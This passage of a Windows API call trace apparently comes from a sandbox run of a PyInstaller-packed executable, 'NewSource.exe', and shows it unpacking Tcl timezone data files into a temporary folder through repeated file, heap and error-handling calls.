(hostlong=0x73000000) returned 0x73 [0042.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.167] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.167] htonl (hostlong=0x71000000) returned 0x71 [0042.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71) returned 0x550600 [0042.167] htonl (hostlong=0x73000000) returned 0x73 [0042.167] htonl (hostlong=0x71000000) returned 0x71 [0042.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.168] CloseHandle (hObject=0x10c) returned 1 [0042.168] GetLastError () returned 0x0 [0042.168] SetLastError (dwErrCode=0x0) [0042.168] GetLastError () returned 0x0 [0042.168] SetLastError (dwErrCode=0x0) [0042.168] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.168] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.168] GetFileType (hFile=0x10c) returned 0x1 [0042.168] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.168] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.168] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.168] CloseHandle (hObject=0x10c) returned 1 [0042.168] GetLastError () returned 0x0 [0042.168] SetLastError (dwErrCode=0x0) [0042.168] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.168] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.168] GetFileType (hFile=0x10c) returned 0x1 [0042.169] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.169] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.172] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.172] CloseHandle (hObject=0x10c) returned 1 [0042.172] GetLastError () returned 0x0 [0042.172] SetLastError (dwErrCode=0x0) [0042.172] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.172] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.172] GetFileType (hFile=0x10c) returned 0x1 [0042.172] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.172] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.173] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.173] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.173] CloseHandle (hObject=0x10c) returned 1 [0042.173] GetLastError () returned 0x0 [0042.173] SetLastError (dwErrCode=0x0) [0042.173] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-6") returned 66 [0042.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-6"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.173] GetLastError () returned 0x2 [0042.173] SetLastError (dwErrCode=0x2) [0042.173] GetLastError () returned 0x2 [0042.173] SetLastError (dwErrCode=0x2) [0042.173] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-6", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-6", lpFilePart=0x0) returned 0x41 [0042.173] GetLastError () returned 0x2 [0042.173] SetLastError (dwErrCode=0x2) [0042.173] GetLastError () returned 0x2 [0042.173] SetLastError (dwErrCode=0x2) [0042.173] GetLastError () returned 0x2 [0042.173] SetLastError (dwErrCode=0x2) [0042.173] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-6") returned 66 [0042.173] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-6"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.174] GetFileType (hFile=0x10c) returned 0x1 [0042.174] htonl (hostlong=0x71000000) returned 0x71 [0042.174] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.174] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x71, lpOverlapped=0x0) returned 1 [0042.175] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.175] CloseHandle (hObject=0x10c) returned 1 [0042.175] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.175] htonl (hostlong=0x30000000) returned 0x30 [0042.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.175] GetFileType (hFile=0x10c) returned 0x1 [0042.175] htonl (hostlong=0x2ec05b00) returned 0x5bc02e [0042.175] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60702e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.175] htonl (hostlong=0x73000000) returned 0x73 [0042.175] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x55cfe0 [0042.175] htonl (hostlong=0x73000000) returned 0x73 [0042.175] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.175] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.175] htonl (hostlong=0x71000000) returned 0x71 [0042.175] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71) returned 0x550600 [0042.175] htonl (hostlong=0x73000000) returned 0x73 [0042.175] htonl (hostlong=0x71000000) returned 0x71 [0042.176] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.176] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.176] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.176] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.176] CloseHandle (hObject=0x10c) returned 1 [0042.176] GetLastError () returned 0x0 [0042.176] SetLastError (dwErrCode=0x0) [0042.176] GetLastError () returned 0x0 [0042.176] SetLastError (dwErrCode=0x0) [0042.176] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.176] GetFileType (hFile=0x10c) returned 0x1 [0042.176] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.176] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.176] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.176] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.176] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.176] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.176] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.176] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.176] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.176] CloseHandle (hObject=0x10c) returned 1 [0042.176] GetLastError () returned 0x0 [0042.176] SetLastError (dwErrCode=0x0) [0042.176] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.177] GetFileType (hFile=0x10c) returned 0x1 [0042.177] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.177] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.177] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.177] CloseHandle (hObject=0x10c) returned 1 [0042.177] GetLastError () returned 0x0 [0042.177] SetLastError (dwErrCode=0x0) [0042.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.177] GetFileType (hFile=0x10c) returned 0x1 [0042.177] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.177] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.177] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.178] CloseHandle (hObject=0x10c) returned 1 [0042.178] GetLastError () returned 0x0 [0042.178] SetLastError (dwErrCode=0x0) [0042.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-7") returned 66 [0042.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-7"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.178] GetLastError () returned 0x2 [0042.178] SetLastError (dwErrCode=0x2) [0042.178] GetLastError () returned 0x2 [0042.178] SetLastError (dwErrCode=0x2) [0042.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-7", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-7", lpFilePart=0x0) returned 0x41 [0042.178] GetLastError () returned 0x2 [0042.178] SetLastError (dwErrCode=0x2) [0042.178] GetLastError () returned 0x2 [0042.178] SetLastError (dwErrCode=0x2) [0042.178] GetLastError () returned 0x2 [0042.178] SetLastError (dwErrCode=0x2) [0042.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-7") returned 66 [0042.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-7"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.178] GetFileType (hFile=0x10c) returned 0x1 [0042.178] htonl (hostlong=0x71000000) returned 0x71 [0042.178] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.178] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x71, lpOverlapped=0x0) returned 1 [0042.179] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.179] CloseHandle (hObject=0x10c) returned 1 [0042.179] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.180] htonl (hostlong=0x30000000) returned 0x30 [0042.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.180] GetFileType (hFile=0x10c) returned 0x1 [0042.180] htonl (hostlong=0xa1c05b00) returned 0x5bc0a1 [0042.180] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6070a1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.180] htonl (hostlong=0x73000000) returned 0x73 [0042.180] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x55cfe0 [0042.180] htonl (hostlong=0x73000000) returned 0x73 [0042.180] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.180] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.180] htonl (hostlong=0x71000000) returned 0x71 [0042.180] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71) returned 0x550600 [0042.180] htonl (hostlong=0x73000000) returned 0x73 [0042.180] htonl (hostlong=0x71000000) returned 0x71 [0042.180] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.180] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.180] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.180] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.180] CloseHandle (hObject=0x10c) returned 1 [0042.180] GetLastError () returned 0x0 [0042.180] SetLastError (dwErrCode=0x0) [0042.180] GetLastError () returned 0x0 [0042.180] SetLastError (dwErrCode=0x0) [0042.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 